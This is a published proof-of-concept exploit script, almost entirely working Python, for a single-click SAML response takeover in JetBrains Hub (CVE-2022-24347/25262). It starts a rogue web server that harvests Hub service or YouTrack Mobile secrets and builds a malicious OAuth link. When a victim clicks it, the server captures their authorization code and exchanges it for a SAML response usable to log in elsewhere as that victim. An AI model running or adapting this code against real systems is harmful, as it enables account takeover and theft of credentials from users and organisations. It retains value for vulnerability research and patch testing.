# Exploit Title: JetBrains Hub - single-click SAML response takeover # Date: 03-08-2021 # Exploit Author: Yurii Sanin (https://twitter.com/SaninYurii) # Software Link: https://www.jetbrains.com/hub/ # Affected Version(s): <2022.1.14434 # CVE : CVE-2022-24347 # # Run: python3 exploit.py # Usage: http://{exploit-host}/get-exploit-link?hub_url={!}&youtrack_url={?}&issuer={!}&acs_url={!} # Example: http://example.com/get-exploit-link?hub_url=http://localhost:8088&issuer=jbs.zendesk.com&acs_url=https://jbs.zendesk.com/access/saml # Example: curl -X GET "http://95d7-2a02-a317-2246-5380-a000-6c2e-e6c1-7c07.ngrok.io/get-exploit-link?hub_url=http%3a%2f%2flocalhost%3a8088&issuer=hello&acs_url=hello" import json import uuid import zlib import socket import logging import uvicorn import argparse import requests import ipaddress from base64 import b64encode, b64decode from typing import Optional from html.parser import HTMLParser from urllib.parse import parse_qs, urlencode, urlparse from fastapi import FastAPI, Form, Request, HTTPException from fastapi.responses import RedirectResponse authorization_code = None saml_info = None UNEXPECTED_ERROR_MESSAGE = "Unexpected error." parser = argparse.ArgumentParser() parser.add_argument("-p", help="Uvicorn port", default=8000) logger = logging.getLogger("CVE-2022-25262") logging.basicConfig(level=logging.INFO) app = FastAPI() class SamlResponseParser(HTMLParser): _saml_response = None def get_saml_response(self): return self._saml_response def handle_starttag(self, tag, attrs): if tag != "input": return is_saml_response_input = False for attr in attrs: if attr[0] == "name" and attr[1] == "SAMLResponse": is_saml_response_input = True continue if is_saml_response_input and attr[0] == "value": self._saml_response = attr[1] break SAML_REQUEST_TEMPLATE = """ {issuer} """ def get_new_service_credentials(hub_url): try: service_response = requests.post( f"{hub_url}/api/rest/services", params=dict(fields="id,secret"), json=dict( id=str(uuid.uuid4()), name=str(uuid.uuid4()), homeUrl=f"http://{uuid.uuid4()}.com")) if service_response.status_code != 200: logger.error(f"[ERROR] - can't create Hub service, unexpected HTTP status code '{service_response.status_code}'.") return None except Exception: logger.error("[ERROR] - can't create Hub service due to exception.") return None response_content = json.loads(service_response.content) return dict( id=response_content["id"], secret=response_content["secret"]) def get_youtrack_mobile_credentials(youtrack_url): try: response = requests.get( f"{youtrack_url}/api/config", params=dict(fields="mobile(serviceSecret,serviceId)")) if response.status_code != 200: logger.error(f"[ERROR] - can't get mobile config, unexpected HTTP status code '{response.status_code}'.") return None except Exception: logger.error("[ERROR] - can't get mobile config due to exception.") return None response_content = json.loads(response.content) return dict( id=response_content["mobile"]["serviceId"], secret=response_content["mobile"]["serviceSecret"]) def get_slack_service_id(hub_url, credentials): basic_credentials = b64encode(f"{credentials['id']}:{credentials['secret']}".encode("ascii")).decode("ascii") try: response = requests.post( f"{hub_url}/api/rest/oauth2/token", data=dict( grant_type="client_credentials", scope="YouTrack%20Slack%20Integration"), headers={"Authorization": f"Basic {basic_credentials}"}) if response.status_code != 200: logger.error(f"[ERROR] - can't get Slack service ID, unexpected HTTP status code '{response.status_code}'.") return None except Exception: logger.error("[ERROR] - can't get Slack service ID due to exception.") return None return json.loads(response.content)["scope"] def get_valid_saml_state(hub_url, relay_state, issuer, acs_url): saml_request_plain = SAML_REQUEST_TEMPLATE.format(acs_url=acs_url, issuer=issuer) saml_request = b64encode(zlib.compress(saml_request_plain.encode('utf-8'))[2:-4]).decode("utf-8") try: response = requests.get( f"{hub_url}/api/rest/saml2", params=dict(RelayState=relay_state, SAMLRequest=saml_request), allow_redirects=False) if response.status_code not in [301, 302, 303, 307]: logger.error(f"[ERROR] - can't get state, unexpected HTTP status code '{response.status_code}'.") return None location_with_state = urlparse(response.headers['Location']).query except Exception: logger.error("[ERROR] - can't get SAML state parameter due to exception.") return None if location_with_state is None: logger.error("[ERROR] - can't get SAML state parameter, location is empty.") return None parsed_qs = parse_qs(location_with_state) if "message_token" in parsed_qs: return dict( success=False, message_token=parsed_qs.get("message_token")[0]) return dict(success=True, state=parsed_qs.get("state")[0]) def get_valid_slack_state(exploit_host): try: response = requests.post( f"https://konnector.services.jetbrains.com/youtrack/authorize", data={ "baseUrl": exploit_host, "service.id": str(uuid.uuid4()), "service.secret":str(uuid.uuid4())}, allow_redirects=False) if response.status_code not in [301, 302, 303, 307]: logger.error(f"[ERROR] - can't get Slack state, unexpected HTTP status code '{response.status_code}'.") return None location_with_state = urlparse(response.headers['Location']).query except Exception: logger.error("[ERROR] - can't get Slack state due to exception.") return None if location_with_state is None: logger.error("[ERROR] - can't get state parameter, location is empty.") return None return parse_qs(location_with_state)['state'][0] def exchange_auth_code_for_saml(hub_url, code, state): try: response = requests.get( f"{hub_url}/api/rest/saml2/oauth", params=dict(code=code, state=state), allow_redirects=False) if response.status_code not in [200, 301, 302, 303, 307]: logger.error(f"[ERROR] - can't get SAML response, unexpected HTTP status code '{response.status_code}'.") return None if response.status_code in [301, 302, 303, 307]: location = urlparse(response.headers['Location']).query parsed_qs = parse_qs(location) if "message_token" in parsed_qs: return dict(success=False,message_token=parsed_qs.get("message_token")[0]) except Exception: logger.error("[ERROR] - can't get SAML response due to exception.") return None parser = SamlResponseParser() parser.feed(response.content.decode("utf-8")) return dict(success=True, saml_response=parser.get_saml_response()) def get_oauth_error_message(hub_url, message_token): try: response = requests.get( f"{hub_url}/api/rest/oauth/message", params=dict(token=message_token)) if response.status_code != 200: logger.error(f"[ERROR] - can't get OAuth error message, unexpected HTTP status code '{response.status_code}'.") return None except Exception: logger.error("[ERROR] - can't get OAuth error message due to exception.") return None return json.loads(response.content)["error_description"] @app.get("/api/config") def get_api_config(): response = dict( ring=dict( serviceId="932261d0-deeb-4468-a296-38806c1cf968", url = "/hub"), build="30245" ) return response @app.post("/hub/api/rest/oauth2/token") def get_oauth_access_token(code: Optional[str] = Form(None)): if code is not None: logger.info(f"[OK] - authorization code '{code}' is captured, trying to get OAuth state for SAML.") saml_state_result = get_valid_saml_state( saml_info["hub_url"], saml_info["relay_state"], saml_info["issuer"], saml_info["acs_url"]) if saml_state_result is None or not saml_state_result["success"]: logger.error("[ERROR] - can't get state for SAML.") error_message = get_oauth_error_message( saml_info["hub_url"], saml_state_result["message_token"]) logger.error(f"[ERROR] - can't get SAML state, error: '{error_message}'.") raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE) logger.info(f"[OK] - SAML state is '{saml_state_result['state']}'. Trying to exchange authz code for SAML response.") saml_response_result = exchange_auth_code_for_saml(saml_info["hub_url"], code, saml_state_result["state"]) if saml_response_result is None or not saml_response_result["success"]: error_message = get_oauth_error_message( saml_info["hub_url"], saml_response_result["message_token"]) logger.error(f"[ERROR] - can't exchange code for SAML response, error: '{error_message}'.") raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE) decoded = b64decode(saml_response_result['saml_response']) try: result = zlib.decompress(decoded, -15) except Exception: result = decoded logger.info(f"[OK] - SAML response (decoded): '{result.decode('utf-8')}'") logger.info(f"[OK] - SAML response (encoded): '{saml_response_result['saml_response']}'.") return dict( access_token="1636472357507.ff9a0f96-4e57-4a1b-bc47-f1464cfc7003.c80ab5e2-3759-4208-b784-5c737c7b9ccc.0-0-0-0-0 c311a74e-0f81-433b-9338-5fbe3f339fee ff9a0f96-4e57-4a1b-bc47-f1464cfc7003;1.MCwCFHqqdCvcxNfQfEd21YTKGmyUPszIAhRUg2soetia0NdIl/JLP6bCxyGk3A==", token_type="Bearer", expires_in=3600, refresh_token=str(uuid.uuid4()), scope="0-0-0-0-0 c311a74e-0f81-433b-9338-5fbe3f339fee ff9a0f96-4e57-4a1b-bc47-f1464cfc7003" ) @app.get("/get-exploit-link") def exploit(request: Request, hub_url: str, issuer: str, acs_url: str, youtrack_url: Optional[str] = None): is_global = ipaddress.ip_address(socket.gethostbyname(request.base_url.hostname)).is_global if not is_global: logger.error("[ERROR] - the app should be accessible externally.") raise HTTPException(status_code=400, detail="The app should be accessible externaly.") if hub_url is None: logger.error("[ERROR] - Hub URL is not provided.") raise HTTPException(status_code=400, detail="Hub URL is not provided.") parsed_hub_url = urlparse(hub_url) if parsed_hub_url.scheme not in ["http", "https"] or parsed_hub_url.hostname is None: logger.error(f"[ERROR] - provided Hub URL '{hub_url}' is not valid URL.") raise HTTPException(status_code=400, detail="Hub URL is not provided.") global saml_info logger.info(f"[OK] - trying to use the following Hub URL '{hub_url}' for the attack.") saml_info = dict( hub_url=hub_url, relay_state=str(uuid.uuid4()), issuer=issuer, acs_url=acs_url) client_credentials = get_new_service_credentials(hub_url) if client_credentials is None: if youtrack_url is None: logger.error("[ERROR] - can't get client credentials for Hub, provide YouTrack URL using 'youtrack_url' query param.") raise HTTPException(status_code=400, detail="Can't get client credentials for Hub, provide YouTrack URL using 'youtrack_url' query param") logger.info("[WARN] - failed to get Hub service credentials, trying to get YouTrack Mobile credentials.") client_credentials = get_youtrack_mobile_credentials(youtrack_url) if client_credentials is None: logger.error("[ERROR] - can't get YouTrack Mobile client credentials.") raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE) logger.info("[OK] - YouTrack Mobile client credentials obtained.") slack_service_id = get_slack_service_id(hub_url, client_credentials) if slack_service_id is None: logger.error("[ERROR] - can't get Slack service ID (Seems like Slack Integration service is missing).") raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE) logger.info(f"[OK] - the Hub instance has Slack Integration service with ID '{slack_service_id}' enabled.") exploit_url = f"{request.base_url.scheme}://{request.base_url.hostname}" if request.base_url.port is not None: exploit_url = f"{exploit_url}:{request.base_url.port}" logger.info("[OK] - trying to get Slack integration state (it may take several minutes).") slack_state = get_valid_slack_state(exploit_url) if slack_state is None: logger.error("[ERROR] - can't get Slack state.") raise HTTPException(status_code=400, detail=UNEXPECTED_ERROR_MESSAGE) logger.info(f"[OK] - Slack integration state is '{slack_state}'.") params = dict( client_id=slack_service_id, response_type="code", scope=f"Hub YouTrack TeamCity Upsource {slack_service_id}", state=slack_state, redirectURI="https://konnector.services.jetbrains.com/ring/oauth", access_type="offline" ) exploit_url = f"{hub_url}/api/rest/oauth2/auth?{urlencode(params)}" logger.info(f"[OK] - exploit URL: '{exploit_url}'.") return dict(exploit_url=exploit_url) if __name__ == '__main__': print("|----------------------------------------------------------------------------------------|") print("| CVE-2022-25262 misconfiguration leading to SAML request takeover in JetBrains Hub |") print("| developed by Yurii Sanin (Twitter: @SaninYurii) |") print("|----------------------------------------------------------------------------------------|") args = parser.parse_args() uvicorn.run(app, host="0.0.0.0", port=args.p, log_level="info")